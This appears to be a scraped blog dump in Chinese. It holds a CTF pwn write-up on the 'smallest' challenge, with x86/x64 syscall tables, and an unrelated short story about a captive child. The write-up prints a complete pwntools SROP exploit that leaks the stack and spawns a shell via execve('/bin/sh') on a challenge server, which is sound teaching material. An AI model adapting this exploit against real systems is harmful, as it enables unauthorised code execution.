LINUX - sys_read.text:00000000004000C0 retn.text:00000000004000C0 start endp\n\n\n        没有canary保护,所以栈上基本能够任意写了。不过虽然没有RELRO保护,但因为程序根本就没有GOT表,所以也没办法使用system,只能通过execve(“/bin/sh”,0,0)来拿shell\n        首先需要leak一个地址,否则在之后无法计算出“/bin/sh”字符串的地址\n        标准的文件描述符如下:\n0—stdin,标准输入流1—stdout,标准输出流2—stderr,标准错误流\n\n\n        需要使用write(1,stack,n)来泄露栈上内容,阅读汇编函数能够发现,我们唯一需要控制的寄存器就是rax,当其为1时,rdi也正好能够为标准输出流,且系统调用号对应write函数,将直接从rsp出写出0x400个字节的数据\n        可以通过read函数的返回值来控制rax为1\nstart_addr = 0x00000000004000B0payload=p64(start_addr)*3p.send(payload)p.send("\\xb3")\n\n\n        最后一行将返回地址该为0x4000B3绕过了rax置零的操作,然后调用syscall自然就会泄露地址,然后重新返回到start函数地址\n        剩下的内容直接阅读exp注释更加方便:如下exp来自wiki(有修改)\nfrom pwn import *small = ELF('./smallest')#sh = process('./smallest')sh = remote("node4.buuoj.cn",28338)context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x00000000004000BEstart_addr = 0x00000000004000B0## set start addr three timespayload = p64(start_addr) * 3sh.send(payload)yes = raw_input()## modify the return addr to start_addr+3## so that skip the xor rax,rax; then the rax=1## get stack addrsh.send('\\xb3')yes = raw_input()stack_addr = u64(sh.recv()[8:16])stack_addr = stack_addr&0xfffffffffffffff000stack_addr -=0x2000log.success('leak stack addr :' + hex(stack_addr)) ## make the rsp point to stack_addr## the frame is read(0,stack_addr,0x400)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readsigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + 'a' * 8 + str(sigframe)sh.send(payload)yes = raw_input()## set rax=15 and call sigreturnsigreturn = p64(syscall_ret) + 'b' * 7sh.send(sigreturn)yes = raw_input()## call execv("/bin/sh",0,0)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x190 # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addr+ 0x190sigframe.rip = syscall_ret retadd=0x4000C0 frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)print len(frame_payload)payload = frame_payload + (0x190 - len(frame_payload)) * '\\x00' + '/bin/sh\\x00'+p64(stack_addr + 0x190)sh.send(payload)yes = raw_input()sh.send(sigreturn)yes = raw_input()sh.interactive()\n\n\n        有些特殊的,笔者发现WIKI原本的exp是没办法在BUU的环境里通过的,查阅后发现似乎是因为过快的发送速度会导致read返回的值出现波动,于是使用raw_input()l在每个发送数据后断开以保证其有正确的值,然后就能通过了 \n附录:#ifndef _ASM_X86_UNISTD_32_H#define _ASM_X86_UNISTD_32_H 1#define __NR_restart_syscall 0#define __NR_exit 1#define __NR_fork 2#define __NR_read 3#define __NR_write 4#define __NR_open 5#define __NR_close 6#define __NR_waitpid 7#define __NR_creat 8#define __NR_link 9#define __NR_unlink 10#define __NR_execve 11#define __NR_chdir 12#define __NR_time 13#define __NR_mknod 14#define __NR_chmod 15#define __NR_lchown 16#define __NR_break 17#define __NR_oldstat 18#define __NR_lseek 19#define __NR_getpid 20#define __NR_mount 21#define __NR_umount 22#define __NR_setuid 23#define __NR_getuid 24#define __NR_stime 25#define __NR_ptrace 26#define __NR_alarm 27#define __NR_oldfstat 28#define __NR_pause 29#define __NR_utime 30#define __NR_stty 31#define __NR_gtty 32#define __NR_access 33#define __NR_nice 34#define __NR_ftime 35#define __NR_sync 36#define __NR_kill 37#define __NR_rename 38#define __NR_mkdir 39#define __NR_rmdir 40#define __NR_dup 41#define __NR_pipe 42#define __NR_times 43#define __NR_prof 44#define __NR_brk 45#define __NR_setgid 46#define __NR_getgid 47#define __NR_signal 48#define __NR_geteuid 49#define __NR_getegid 50#define __NR_acct 51#define __NR_umount2 52#define __NR_lock 53#define __NR_ioctl 54#define __NR_fcntl 55#define __NR_mpx 56#define __NR_setpgid 57#define __NR_ulimit 58#define __NR_oldolduname 59#define __NR_umask 60#define __NR_chroot 61#define __NR_ustat 62#define __NR_dup2 63#define __NR_getppid 64#define __NR_getpgrp 65#define __NR_setsid 66#define __NR_sigaction 67#define __NR_sgetmask 68#define __NR_ssetmask 69#define __NR_setreuid 70#define __NR_setregid 71#define __NR_sigsuspend 72#define __NR_sigpending 73#define __NR_sethostname 74#define __NR_setrlimit 75#define __NR_getrlimit 76#define __NR_getrusage 77#define __NR_gettimeofday 78#define __NR_settimeofday 79#define __NR_getgroups 80#define __NR_setgroups 81#define __NR_select 82#define __NR_symlink 83#define __NR_oldlstat 84#define __NR_readlink 85#define __NR_uselib 86#define __NR_swapon 87#define __NR_reboot 88#define __NR_readdir 89#define __NR_mmap 90#define __NR_munmap 91#define __NR_truncate 92#define __NR_ftruncate 93#define __NR_fchmod 94#define __NR_fchown 95#define __NR_getpriority 96#define __NR_setpriority 97#define __NR_profil 98#define __NR_statfs 99#define __NR_fstatfs 100#define __NR_ioperm 101#define __NR_socketcall 102#define __NR_syslog 103#define __NR_setitimer 104#define __NR_getitimer 105#define __NR_stat 106#define __NR_lstat 107#define __NR_fstat 108#define __NR_olduname 109#define __NR_iopl 110#define __NR_vhangup 111#define __NR_idle 112#define __NR_vm86old 113#define __NR_wait4 114#define __NR_swapoff 115#define __NR_sysinfo 116#define __NR_ipc 117#define __NR_fsync 118#define __NR_sigreturn 119#define __NR_clone 120#define __NR_setdomainname 121#define __NR_uname 122#define __NR_modify_ldt 123#define __NR_adjtimex 124#define __NR_mprotect 125#define __NR_sigprocmask 126#define __NR_create_module 127#define __NR_init_module 128#define __NR_delete_module 129#define __NR_get_kernel_syms 130#define __NR_quotactl 131#define __NR_getpgid 132#define __NR_fchdir 133#define __NR_bdflush 134#define __NR_sysfs 135#define __NR_personality 136#define __NR_afs_syscall 137#define __NR_setfsuid 138#define __NR_setfsgid 139#define __NR__llseek 140#define __NR_getdents 141#define __NR__newselect 142#define __NR_flock 143#define __NR_msync 144#define __NR_readv 145#define __NR_writev 146#define __NR_getsid 147#define __NR_fdatasync 148#define __NR__sysctl 149#define __NR_mlock 150#define __NR_munlock 151#define __NR_mlockall 152#define __NR_munlockall 153#define __NR_sched_setparam 154#define __NR_sched_getparam 155#define __NR_sched_setscheduler 156#define __NR_sched_getscheduler 157#define __NR_sched_yield 158#define __NR_sched_get_priority_max 159#define __NR_sched_get_priority_min 160#define __NR_sched_rr_get_interval 161#define __NR_nanosleep 162#define __NR_mremap 163#define __NR_setresuid 164#define __NR_getresuid 165#define __NR_vm86 166#define __NR_query_module 167#define __NR_poll 168#define __NR_nfsservctl 169#define __NR_setresgid 170#define __NR_getresgid 171#define __NR_prctl 172#define __NR_rt_sigreturn 173#define __NR_rt_sigaction 174#define __NR_rt_sigprocmask 175#define __NR_rt_sigpending 176#define __NR_rt_sigtimedwait 177#define __NR_rt_sigqueueinfo 178#define __NR_rt_sigsuspend 179#define __NR_pread64 180#define __NR_pwrite64 181#define __NR_chown 182#define __NR_getcwd 183#define __NR_capget 184#define __NR_capset 185#define __NR_sigaltstack 186#define __NR_sendfile 187#define __NR_getpmsg 188#define __NR_putpmsg 189#define __NR_vfork 190#define __NR_ugetrlimit 191#define __NR_mmap2 192#define __NR_truncate64 193#define __NR_ftruncate64 194#define __NR_stat64 195#define __NR_lstat64 196#define __NR_fstat64 197#define __NR_lchown32 198#define __NR_getuid32 199#define __NR_getgid32 200#define __NR_geteuid32 201#define __NR_getegid32 202#define __NR_setreuid32 203#define __NR_setregid32 204#define __NR_getgroups32 205#define __NR_setgroups32 206#define __NR_fchown32 207#define __NR_setresuid32 208#define __NR_getresuid32 209#define __NR_setresgid32 210#define __NR_getresgid32 211#define __NR_chown32 212#define __NR_setuid32 213#define __NR_setgid32 214#define __NR_setfsuid32 215#define __NR_setfsgid32 216#define __NR_pivot_root 217#define __NR_mincore 218#define __NR_madvise 219#define __NR_getdents64 220#define __NR_fcntl64 221#define __NR_gettid 224#define __NR_readahead 225#define __NR_setxattr 226#define __NR_lsetxattr 227#define __NR_fsetxattr 228#define __NR_getxattr 229#define __NR_lgetxattr 230#define __NR_fgetxattr 231#define __NR_listxattr 232#define __NR_llistxattr 233#define __NR_flistxattr 234#define __NR_removexattr 235#define __NR_lremovexattr 236#define __NR_fremovexattr 237#define __NR_tkill 238#define __NR_sendfile64 239#define __NR_futex 240#define __NR_sched_setaffinity 241#define __NR_sched_getaffinity 242#define __NR_set_thread_area 243#define __NR_get_thread_area 244#define __NR_io_setup 245#define __NR_io_destroy 246#define __NR_io_getevents 247#define __NR_io_submit 248#define __NR_io_cancel 249#define __NR_fadvise64 250#define __NR_exit_group 252#define __NR_lookup_dcookie 253#define __NR_epoll_create 254#define __NR_epoll_ctl 255#define __NR_epoll_wait 256#define __NR_remap_file_pages 257#define __NR_set_tid_address 258#define __NR_timer_create 259#define __NR_timer_settime 260#define __NR_timer_gettime 261#define __NR_timer_getoverrun 262#define __NR_timer_delete 263#define __NR_clock_settime 264#define __NR_clock_gettime 265#define __NR_clock_getres 266#define __NR_clock_nanosleep 267#define __NR_statfs64 268#define __NR_fstatfs64 269#define __NR_tgkill 270#define __NR_utimes 271#define __NR_fadvise64_64 272#define __NR_vserver 273#define __NR_mbind 274#define __NR_get_mempolicy 275#define __NR_set_mempolicy 276#define __NR_mq_open 277#define __NR_mq_unlink 278#define __NR_mq_timedsend 279#define __NR_mq_timedreceive 280#define __NR_mq_notify 281#define __NR_mq_getsetattr 282#define __NR_kexec_load 283#define __NR_waitid 284#define __NR_add_key 286#define __NR_request_key 287#define __NR_keyctl 288#define __NR_ioprio_set 289#define __NR_ioprio_get 290#define __NR_inotify_init 291#define __NR_inotify_add_watch 292#define __NR_inotify_rm_watch 293#define __NR_migrate_pages 294#define __NR_openat 295#define __NR_mkdirat 296#define __NR_mknodat 297#define __NR_fchownat 298#define __NR_futimesat 299#define __NR_fstatat64 300#define __NR_unlinkat 301#define __NR_renameat 302#define __NR_linkat 303#define __NR_symlinkat 304#define __NR_readlinkat 305#define __NR_fchmodat 306#define __NR_faccessat 307#define __NR_pselect6 308#define __NR_ppoll 309#define __NR_unshare 310#define __NR_set_robust_list 311#define __NR_get_robust_list 312#define __NR_splice 313#define __NR_sync_file_range 314#define __NR_tee 315#define __NR_vmsplice 316#define __NR_move_pages 317#define __NR_getcpu 318#define __NR_epoll_pwait 319#define __NR_utimensat 320#define __NR_signalfd 321#define __NR_timerfd_create 322#define __NR_eventfd 323#define __NR_fallocate 324#define __NR_timerfd_settime 325#define __NR_timerfd_gettime 326#define __NR_signalfd4 327#define __NR_eventfd2 328#define __NR_epoll_create1 329#define __NR_dup3 330#define __NR_pipe2 331#define __NR_inotify_init1 332#define __NR_preadv 333#define __NR_pwritev 334#define __NR_rt_tgsigqueueinfo 335#define __NR_perf_event_open 336#define __NR_recvmmsg 337#define __NR_fanotify_init 338#define __NR_fanotify_mark 339#define __NR_prlimit64 340#define __NR_name_to_handle_at 341#define __NR_open_by_handle_at 342#define __NR_clock_adjtime 343#define __NR_syncfs 344#define __NR_sendmmsg 345#define __NR_setns 346#define __NR_process_vm_readv 347#define __NR_process_vm_writev 348#define __NR_kcmp 349#define __NR_finit_module 350#define __NR_sched_setattr 351#define __NR_sched_getattr 352#define __NR_renameat2 353#define __NR_seccomp 354#define __NR_getrandom 355#define __NR_memfd_create 356#define __NR_bpf 357#define __NR_execveat 358#define __NR_socket 359#define __NR_socketpair 360#define __NR_bind 361#define __NR_connect 362#define __NR_listen 363#define __NR_accept4 364#define __NR_getsockopt 365#define __NR_setsockopt 366#define __NR_getsockname 367#define __NR_getpeername 368#define __NR_sendto 369#define __NR_sendmsg 370#define __NR_recvfrom 371#define __NR_recvmsg 372#define __NR_shutdown 373#define __NR_userfaultfd 374#define __NR_membarrier 375#define __NR_mlock2 376#define __NR_copy_file_range 377#define __NR_preadv2 378#define __NR_pwritev2 379#endif /* _ASM_X86_UNISTD_32_H */\n\n\n#ifndef _ASM_X86_UNISTD_64_H#define _ASM_X86_UNISTD_64_H 1#define __NR_read 0#define __NR_write 1#define __NR_open 2#define __NR_close 3#define __NR_stat 4#define __NR_fstat 5#define __NR_lstat 6#define __NR_poll 7#define __NR_lseek 8#define __NR_mmap 9#define __NR_mprotect 10#define __NR_munmap 11#define __NR_brk 12#define __NR_rt_sigaction 13#define __NR_rt_sigprocmask 14#define __NR_rt_sigreturn 15#define __NR_ioctl 16#define __NR_pread64 17#define __NR_pwrite64 18#define __NR_readv 19#define __NR_writev 20#define __NR_access 21#define __NR_pipe 22#define __NR_select 23#define __NR_sched_yield 24#define __NR_mremap 25#define __NR_msync 26#define __NR_mincore 27#define __NR_madvise 28#define __NR_shmget 29#define __NR_shmat 30#define __NR_shmctl 31#define __NR_dup 32#define __NR_dup2 33#define __NR_pause 34#define __NR_nanosleep 35#define __NR_getitimer 36#define __NR_alarm 37#define __NR_setitimer 38#define __NR_getpid 39#define __NR_sendfile 40#define __NR_socket 41#define __NR_connect 42#define __NR_accept 43#define __NR_sendto 44#define __NR_recvfrom 45#define __NR_sendmsg 46#define __NR_recvmsg 47#define __NR_shutdown 48#define __NR_bind 49#define __NR_listen 50#define __NR_getsockname 51#define __NR_getpeername 52#define __NR_socketpair 53#define __NR_setsockopt 54#define __NR_getsockopt 55#define __NR_clone 56#define __NR_fork 57#define __NR_vfork 58#define __NR_execve 59#define __NR_exit 60#define __NR_wait4 61#define __NR_kill 62#define __NR_uname 63#define __NR_semget 64#define __NR_semop 65#define __NR_semctl 66#define __NR_shmdt 67#define __NR_msgget 68#define __NR_msgsnd 69#define __NR_msgrcv 70#define __NR_msgctl 71#define __NR_fcntl 72#define __NR_flock 73#define __NR_fsync 74#define __NR_fdatasync 75#define __NR_truncate 76#define __NR_ftruncate 77#define __NR_getdents 78#define __NR_getcwd 79#define __NR_chdir 80#define __NR_fchdir 81#define __NR_rename 82#define __NR_mkdir 83#define __NR_rmdir 84#define __NR_creat 85#define __NR_link 86#define __NR_unlink 87#define __NR_symlink 88#define __NR_readlink 89#define __NR_chmod 90#define __NR_fchmod 91#define __NR_chown 92#define __NR_fchown 93#define __NR_lchown 94#define __NR_umask 95#define __NR_gettimeofday 96#define __NR_getrlimit 97#define __NR_getrusage 98#define __NR_sysinfo 99#define __NR_times 100#define __NR_ptrace 101#define __NR_getuid 102#define __NR_syslog 103#define __NR_getgid 104#define __NR_setuid 105#define __NR_setgid 106#define __NR_geteuid 107#define __NR_getegid 108#define __NR_setpgid 109#define __NR_getppid 110#define __NR_getpgrp 111#define __NR_setsid 112#define __NR_setreuid 113#define __NR_setregid 114#define __NR_getgroups 115#define __NR_setgroups 116#define __NR_setresuid 117#define __NR_getresuid 118#define __NR_setresgid 119#define __NR_getresgid 120#define __NR_getpgid 121#define __NR_setfsuid 122#define __NR_setfsgid 123#define __NR_getsid 124#define __NR_capget 125#define __NR_capset 126#define __NR_rt_sigpending 127#define __NR_rt_sigtimedwait 128#define __NR_rt_sigqueueinfo 129#define __NR_rt_sigsuspend 130#define __NR_sigaltstack 131#define __NR_utime 132#define __NR_mknod 133#define __NR_uselib 134#define __NR_personality 135#define __NR_ustat 136#define __NR_statfs 137#define __NR_fstatfs 138#define __NR_sysfs 139#define __NR_getpriority 140#define __NR_setpriority 141#define __NR_sched_setparam 142#define __NR_sched_getparam 143#define __NR_sched_setscheduler 144#define __NR_sched_getscheduler 145#define __NR_sched_get_priority_max 146#define __NR_sched_get_priority_min 147#define __NR_sched_rr_get_interval 148#define __NR_mlock 149#define __NR_munlock 150#define __NR_mlockall 151#define __NR_munlockall 152#define __NR_vhangup 153#define __NR_modify_ldt 154#define __NR_pivot_root 155#define __NR__sysctl 156#define __NR_prctl 157#define __NR_arch_prctl 158#define __NR_adjtimex 159#define __NR_setrlimit 160#define __NR_chroot 161#define __NR_sync 162#define __NR_acct 163#define __NR_settimeofday 164#define __NR_mount 165#define __NR_umount2 166#define __NR_swapon 167#define __NR_swapoff 168#define __NR_reboot 169#define __NR_sethostname 170#define __NR_setdomainname 171#define __NR_iopl 172#define __NR_ioperm 173#define __NR_create_module 174#define __NR_init_module 175#define __NR_delete_module 176#define __NR_get_kernel_syms 177#define __NR_query_module 178#define __NR_quotactl 179#define __NR_nfsservctl 180#define __NR_getpmsg 181#define __NR_putpmsg 182#define __NR_afs_syscall 183#define __NR_tuxcall 184#define __NR_security 185#define __NR_gettid 186#define __NR_readahead 187#define __NR_setxattr 188#define __NR_lsetxattr 189#define __NR_fsetxattr 190#define __NR_getxattr 191#define __NR_lgetxattr 192#define __NR_fgetxattr 193#define __NR_listxattr 194#define __NR_llistxattr 195#define __NR_flistxattr 196#define __NR_removexattr 197#define __NR_lremovexattr 198#define __NR_fremovexattr 199#define __NR_tkill 200#define __NR_time 201#define __NR_futex 202#define __NR_sched_setaffinity 203#define __NR_sched_getaffinity 204#define __NR_set_thread_area 205#define __NR_io_setup 206#define __NR_io_destroy 207#define __NR_io_getevents 208#define __NR_io_submit 209#define __NR_io_cancel 210#define __NR_get_thread_area 211#define __NR_lookup_dcookie 212#define __NR_epoll_create 213#define __NR_epoll_ctl_old 214#define __NR_epoll_wait_old 215#define __NR_remap_file_pages 216#define __NR_getdents64 217#define __NR_set_tid_address 218#define __NR_restart_syscall 219#define __NR_semtimedop 220#define __NR_fadvise64 221#define __NR_timer_create 222#define __NR_timer_settime 223#define __NR_timer_gettime 224#define __NR_timer_getoverrun 225#define __NR_timer_delete 226#define __NR_clock_settime 227#define __NR_clock_gettime 228#define __NR_clock_getres 229#define __NR_clock_nanosleep 230#define __NR_exit_group 231#define __NR_epoll_wait 232#define __NR_epoll_ctl 233#define __NR_tgkill 234#define __NR_utimes 235#define __NR_vserver 236#define __NR_mbind 237#define __NR_set_mempolicy 238#define __NR_get_mempolicy 239#define __NR_mq_open 240#define __NR_mq_unlink 241#define __NR_mq_timedsend 242#define __NR_mq_timedreceive 243#define __NR_mq_notify 244#define __NR_mq_getsetattr 245#define __NR_kexec_load 246#define __NR_waitid 247#define __NR_add_key 248#define __NR_request_key 249#define __NR_keyctl 250#define __NR_ioprio_set 251#define __NR_ioprio_get 252#define __NR_inotify_init 253#define __NR_inotify_add_watch 254#define __NR_inotify_rm_watch 255#define __NR_migrate_pages 256#define __NR_openat 257#define __NR_mkdirat 258#define __NR_mknodat 259#define __NR_fchownat 260#define __NR_futimesat 261#define __NR_newfstatat 262#define __NR_unlinkat 263#define __NR_renameat 264#define __NR_linkat 265#define __NR_symlinkat 266#define __NR_readlinkat 267#define __NR_fchmodat 268#define __NR_faccessat 269#define __NR_pselect6 270#define __NR_ppoll 271#define __NR_unshare 272#define __NR_set_robust_list 273#define __NR_get_robust_list 274#define __NR_splice 275#define __NR_tee 276#define __NR_sync_file_range 277#define __NR_vmsplice 278#define __NR_move_pages 279#define __NR_utimensat 280#define __NR_epoll_pwait 281#define __NR_signalfd 282#define __NR_timerfd_create 283#define __NR_eventfd 284#define __NR_fallocate 285#define __NR_timerfd_settime 286#define __NR_timerfd_gettime 287#define __NR_accept4 288#define __NR_signalfd4 289#define __NR_eventfd2 290#define __NR_epoll_create1 291#define __NR_dup3 292#define __NR_pipe2 293#define __NR_inotify_init1 294#define __NR_preadv 295#define __NR_pwritev 296#define __NR_rt_tgsigqueueinfo 297#define __NR_perf_event_open 298#define __NR_recvmmsg 299#define __NR_fanotify_init 300#define __NR_fanotify_mark 301#define __NR_prlimit64 302#define __NR_name_to_handle_at 303#define __NR_open_by_handle_at 304#define __NR_clock_adjtime 305#define __NR_syncfs 306#define __NR_sendmmsg 307#define __NR_setns 308#define __NR_getcpu 309#define __NR_process_vm_readv 310#define __NR_process_vm_writev 311#define __NR_kcmp 312#define __NR_finit_module 313#define __NR_sched_setattr 314#define __NR_sched_getattr 315#define __NR_renameat2 316#define __NR_seccomp 317#define __NR_getrandom 318#define __NR_memfd_create 319#define __NR_kexec_file_load 320#define __NR_bpf 321#define __NR_execveat 322#define __NR_userfaultfd 323#define __NR_membarrier 324#define __NR_mlock2 325#define __NR_copy_file_range 326#define __NR_preadv2 327#define __NR_pwritev2 328#endif /* _ASM_X86_UNISTD_64_H */\n\n\n参考文章:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/#_1 ​\nhttps://www.jianshu.com/p/09b4aed52e0d\nhttps://www.jianshu.com/p/74aa44767a4b\n插画ID:91506229\n","categories":["CTF题记","Note"],"tags":["CTF","ROP","SROP"]},{"title":"通感症Synaesthesia","url":"/2021/02/07/synaesthesia/","content":"X001\n 当我从战场上归来的时候,躯壳几乎难以容纳灵魂。浑身上下,除却头部以外净是血洞,鲜血止不住地向外涌出,聊胜于无的绷带试图留住它们,也不过是毫无意义的徒劳。\n 我艰难地向着故乡的方向走去,但双腿却无论如何也迈不出去。刚抬起来,又落下去,拄着拐杖的手也颤抖不止,鲜血顺着手臂从拐杖上滑落,将它染成了残阳的颜色。就连猩红与赤红都难以区分的我,坚持这种神志不清地逃亡又能持续到何时呢?\n 脚边偶尔传来的阵沙沙声让我越发的烦躁,可我就连低头的力气都没有了。我担心自己一旦低下了头,就再也抬不起来了。身体轻盈如纸,感知却沉重如山,我略感欣喜,却愤怒不已。也许我会因身体前所未有的轻盈而喜,又可能会为此刻的寸步难行而怒。就连精神都被着残阳炙烤到歪曲,我想,我也许只能到此为止了。\n 我跪倒在地,手边的拐杖失去倚靠,缓缓倒下。我无力地低下了头,分不清炙热与冰冷,辨不出火山与极地,感官失去知觉,就连灵魂都无法扼住。即使拼命克制想要躺下的疲乏,不惜一切代价地想要重新站起,但躯壳却不听使唤。\n 「站起来!你给我站起来啊!」\n 任凭我如何吼叫,它也没有任何回应。\n 泪水从瞳中泄出,但很快就被染成了猩红,以至于我把它当成了自己的血液。\n 「为什么……为什么不肯不肯站起来啊……我就这么…….这么不受待见吗……明明……我才是主人……明明……我才是…….」\n 「你给我站起来啊!」\n 我猛地砸向大腿,可收回的却只有微弱的触觉,已连痛觉都模糊不清了。但事实是否真是如此,我无法确认。光是支起手臂,将它拖过大腿,就已经连静止的力气也没有了。\n 「连你也要违抗我吗……就连你也要背叛我吗!」\n 「别这样…别这样!我已经不剩什么了!别再离开我了,别再离开我了!」\n 即便我发了疯似的呐喊,喊到失声喑哑,喊到筋疲力竭,也没能再次站起。只能任凭风沙灌入口腔,涌进胸腔,让我就连呼吸也不被允许。\n 我无力的跪倒在地。身前站着的男人用轻蔑的眼光注视着我面前的蜥蜴,而对我,就连一寸余光,也不肯施舍给我。\n 「你还想要怎样……事到如今,你还没满足吗!」\n 他没有回答。如今的他已经是个口不能言的可怜虫了。哪怕我沦落到这般境地,也改不掉这蔑视别人的坏习惯。\n 他一脚踹向无力反抗的我,脑袋连着身子飞出了不知道多远才停下。我险些昏迷,甚至有一瞬也许不再清醒。\n 我想要爬起来,他却一脚踩在了我的头上,将我碾倒在地。\n 「从今往后,你将不复存在。」\n 他用那沙哑的声音勉强拼凑出了一句话。这是我自认识他以来听到的第三句话。\n 「你…什么意……」\n 还不等我说完,我的烛火就被他掐灭了,剩下一堆残渣兀自飞散了。\nX002\n 「你是谁?」\n 「从今天起,我就是你的主人了。」\n 我本以为,他不过是在和我开玩笑而已。可让我想不到的是,下一秒,我就被他扣上了镣铐。\n 他禁止了我一切的自由行为,只允许我按照他的要求办事。在他的收容所里,有很多和我一样的孩子,他们身上都戴有特制的镣铐,每个镣铐上都有不一样的标志,有的是笑脸,有的是水滴,甚至还有扑克牌和象棋,而我的脚镣上刻着的是一把精致的钥匙。\n 「这次你做的不错。说把,想要什么奖励?」\n 在一次工作结束之后,我被他叫到了礼堂。他似乎喜出望外,但我却不觉得他是因为任务达成而欣喜。至今为止,也有不少孩子同样达成了任务,而且,比我更加优秀的人也不在少数,可我却从没见他褒奖过其他的孩子。\n 「我没有什么特别想要的东西。」\n 我本想回绝这次馈赠,但毕竟是少有的褒奖,若是拒绝掉,以后难免会后悔。于是我沉思了一会,还是选择说出自己的愿望。\n 「可以的话,我想到外面看看。」\n 在暗无天日的工房里工作便是我们的日常。这里不存在书上记载的一切。既没有高山大海,也没有飞禽走兽,只有铁索相互敲击的声音和孩子们做噩梦时的呓语。平日里,就连说话都不被允许的我们,从来没有见过外面的世界。\n 当他听过我的请求之后,什么都没说,就这样径直走出了礼堂。我能够听见从大门的方向传来的一声巨响,却无法理解他究竟对什么感到了不满。\n 某一日工作结束之后,我拖着疲惫的身体在返回宿舍的途中,无意间看见了他带着一个刻有“契约”标志的孩子离开工房。标志本身已经被抹掉了,但我和大家相处了这么长的时间,每个人的标记都已经牢牢地记在心里了。\n 他牵着她的手慢慢走向工房的大门,脸上不时泛起微笑。他们走的很慢,途中似乎聊了许多。那个孩子无疑是快乐的,她和我一样都是憧憬着外面的世界的孩子,此刻能被允许离开,或许是完成了什么非常重要的任务,所以得到了资格吧。尽管我很羡慕她,但也为自己的好友能够离开感到高兴。\n “哐当!”\n 工房的大门缓缓上升,他牵着她的手缓步通过冰冷的闸门。我想要凑近一些,想要窥得一丝一毫的光景,但我再次失望了。\n 外面的世界一片漆黑。宛如深邃不可见底的深海,同永劫不复存在的深渊一般,仅存在着难以言明的漆黑与寂静。\n 我本以为这不过是夜幕遮蔽了阳光,却没想就连星与月也消失不见。既没有晚鸦嘶号,也难闻夜莺笙歌。这样的世界,究竟有着什么东西值得我再去期待?\n 可我却不想让这座工房成为我的墓地。我不希望自己的坟场,被守墓人时刻把守。\nX003\n 一个刻着钥匙标记的孩子坐在长椅上休息,手里似乎捧着一本画册。\n 「你在看什么呢?」\n 我从笔记本上撕下一页,歪歪扭扭地勉强将符号串成了一句话。\n 「《边界》」\n 纸上多出来的只有四个符号。\n 「能借我看看吗?」\n 我不依不饶的继续尝试和他建立沟通。但在看了这串字符之后,他马上合上画册,并把画册死死地抱在怀里,眼里闪烁着不安与惊惧。\n 「没事啦,我又不会抢你的东西,只是想看看你的画册而已啦。」\n 他狐疑地盯着我,在判断我真的不会夺走他的画册之后,才不情愿地递出了画册。当他递过来的时候,手还微微的颤抖着,真不知道他到底是有多害怕我。\n 「谢谢!」\n 我在他身旁坐下,打开画册开始翻阅。他就坐在我旁边和我一起默默地看着画,一言不发,似乎就连他的呼吸都有所减缓。看来他是成为了这本画册虔诚的信徒了呢。\n 我合上画册,闭上眼睛回想画册上的风景。真的就像他说的一样,这种风景只需要看一次就足够了。倘若不放过一丝细节,恐怕这些裂痕就会让至今为止构筑起来的世界分崩离析吧。而若是让它们在记忆里逐渐发酵,那么它们将成为此生绝对无法寻见的绝景。\n 「你都看了这么多遍了,不会腻吗?」\n 我重新撕下了一页,将已经画满的废纸丢进了纸篓。\n 「其实只看过两遍而已。之后再打开画册的时候,已经不会再看到画了,眼睛擅自就把它们变成了普通的色块拼图了。」\n 我感到不可思议,即便我反复观览画册,也没办法把这些美景当成色块对待。\n 「那你最喜欢哪一幅画?」\n 「都挺喜欢的。但最喜欢的果然还是这一幅。」他打开画册,将那幅画他认为最美的画展示给我看。\n 画上画着的,是高耸入云的围墙、一望无际的原野、深邃旷远的蓝天和几只掠过天际的青鸟。确实不失为一片美景,但我却并不是那么喜欢它。\n 「那要是以后有机会,我们一起出去看看吧?外面一定也和这上面画着的一样,甚至要比它更美也说不定呢!」\n 「真的?你可别骗我!」\n 「如果有机会的话。」\n 一时心血来潮缔结了契约,但我恐怕没有实现他的愿望的能力。可看着他眼里的期待,实在不太忍心将谎言揭穿,于是我选择了缄默,再也不提及这桩虚愿。只是这份期待却真的刻进了他的心里。\n 一天,我从工房回来的时候,发现了躲藏在柱子后面的他。我没有立刻揭发他,而是悄悄地跟着他一路来到了工房的大门前。\n 他鬼鬼祟祟地似乎在门前捣鼓着什么。手上拿着一根铁丝,手边还放着一个工具箱。他时不时用螺丝刀旋旋,偶尔又用扳手转转,甚至将铁丝插进钥匙孔里,模仿着小说里的盗贼撬锁一样。\n 「难不成他真的以为自己能像小说里的盗贼一样撬开这扇闸门吗?」\n “啪嗒…啪嗒…”\n 从身后传来了断断续续的脚步声。我连忙上前阻止了他的妄想,将他拖到了柱子后面。\n 「你干什么!放开我!」\n 「嘘——有人来了。」\n 他马上停下了挣扎,用手捂着嘴缓缓俯下了身。\n 「咦?我听错了吗?明明听见了有谁在说话呢……」\n 「大概是听错了吧,这里平日里甚至连接近都不被允许呢。听说上次有人只不过是看了门一眼,就被主人带走了呢。」\n 「这么恐怖!看一眼也不行吗?快走吧快走吧,没事还是别来这里了。」\n 这座工房仅有的两个保安很快就离开了,似乎就连他们也畏惧着这扇铁门。\n 「你想死啊!没事来这里干嘛!」\n 我质问他。但他的回答却让我哑口无言。\n 「我就是想看看外面嘛……」\n 他低着头,强忍着眼泪不让它们落下,手里死死的攥着刚才用来撬锁的铁丝。也许,他真的很想出去吧。和我不同,和这样一个只要自己的朋友和自己都能够平安无事就已经很满足了的自私家伙,完全不同。\nX004\n 我的生活并没有因为她的离开而产生些许变化。一成不变的日常仍然如期而至,咬合的齿轮没有丝毫偏转的迹象。但自此之后,我再没有交过朋友了。\n 她不像我那样懦弱,不论对象是谁,她都愿意与之交往。但我做不到像她那样出色。光是与人交流便要竭尽全力,不论是写出的字还是想要传达的意思,都粗糙不堪,刚呈出去,就已经忍不住这双因羞愧而想要缩回来的手。她是第一个愿意和这样的我做朋友的人,也是最后一个成为了我的朋友的人。\n 从今往后,我再没有过新朋友。这句话就像契约一样,深深地刻入我的灵魂。\n 